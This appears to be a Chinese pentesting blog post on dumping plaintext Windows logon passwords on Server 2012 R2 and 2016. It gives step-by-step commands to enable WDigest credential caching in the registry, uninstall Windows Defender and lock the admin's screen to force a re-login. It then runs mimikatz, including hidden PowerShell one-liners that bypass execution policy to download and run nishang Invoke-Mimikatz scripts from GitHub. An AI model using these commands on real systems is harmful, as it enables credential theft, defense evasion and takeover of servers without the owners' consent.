我才知道的:vista以后都不存储LM hash了,但是法国佬的神器还是可以抓到明文的。但是在渗透中遇到过2012 R2 是抓不到明文的。神器也一筹莫展!
经过测试,发现Microsoft Windows Server 2012 R2 Standard 可能已经修复了以前从内存获取密码的漏洞,并且IPC$的远程认证方式也改变了,导致没办法进行hash注入。因为默认不存储LM hash ,所以仅有的几款能抓到hash的工具,也只能抓取NTLM hash ,基本上也是很难破解成功的。

那么,windows server 2016也是相同的了,正常情况下也是抓取不到明文的了。

提问:本文自始至终都是要锁定管理员屏幕,所以就要求管理员在线,这本身就是比较难碰到的事情;管理员在线,我们要锁定后,还要让他重新输入密码登录,这个行为就很具有威胁。那位大牛有更加美丽在不惊动管理就dump明文的姿势呢?

解决这个问题的关键:
1. 把HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"设置为1,类型为DWORD 32才可以。
如果没有这个键就手动添加,T00Ls大牛上面的帖子说的是要重启,评论说只要锁屏就ok了。本人测试也是需要锁屏就ok了。现在有Powershell可以帮助我们实现这个事情。
2. 管理员重新输入密码登录

关闭:windows-defender
本人在测试环境为Win server 2016中,如果不关闭的话是测试失败的。关闭的Powershell命令为:
Uninstall-WindowsFeature -Name Windows-Defender
当然,执行完命令之后还是要重启服务器的。

检测Windows-Defender是否在运行,CMD命令为:
sc query Windefend
该sc query命令返回有关Windows Defender服务的信息。如果Windows Defender正在运行,则STATE显示该值RUNNING。

第一种

第一步

修改注册表
CMD下修改注册表

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

Powrersehll修改注册表

PS C:\> New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

第二步

给服务器锁屏
powershell命令

PS C:\> Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

CMD命令

rundll32.exe user32.dll,LockWorkStation

第三步(可跳过)

确定管理员是否重新输入密码登陆

PS C:\> Register-wmievent -query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName = 'LogonUI.exe'" -Action $actionblock

这是T00Ls大牛给出的命令,我本地测试没有出结果呢...我认为没有必要检测了。如果管理员继续上线,我们就直接抓,如果不在线,检测也没用啊。但如果你给出另外一种情况就当我没说:检测出继续上线了,还是无法Dump明文,就要继续找原因,而如果没有经过检测就继续抓取,没有抓取到的情况下,就无法判断是什么原因造成的。

第四步

mimikatz.exe privilege::debug sekurlsa::logonpasswords exit


第二种

使用Powershell自动化操作
Powershell脚本:

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1

操作姿势:
执行

powershell -nop -W Hidden -exec bypass -c  IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1');Invoke-MimikatzWDigestDowngrade

然后等待管理重新输入密码上线。
然后
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit

powershell.exe -nop  -exec bypass -c ""IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

PS: 如果管理员用户是断开状态,我们运行脚本锁定屏幕之后,管理员直接在MSTSC处输入密码登录,我们还是截取不到密码,这是贼尴尬的,至少我测试时这样的。

参考文章及帖子:
https://www.t00ls.net/viewthread.php?tid=30571
http://www.secist.com/archives/2160.html
http://www.labofapenetrationtester.com/2015/05/dumping-passwords-in-plain-on-windows-8-1.html 有视频哦

发表评论

电子邮件地址不会被公开。 必填项已用*标注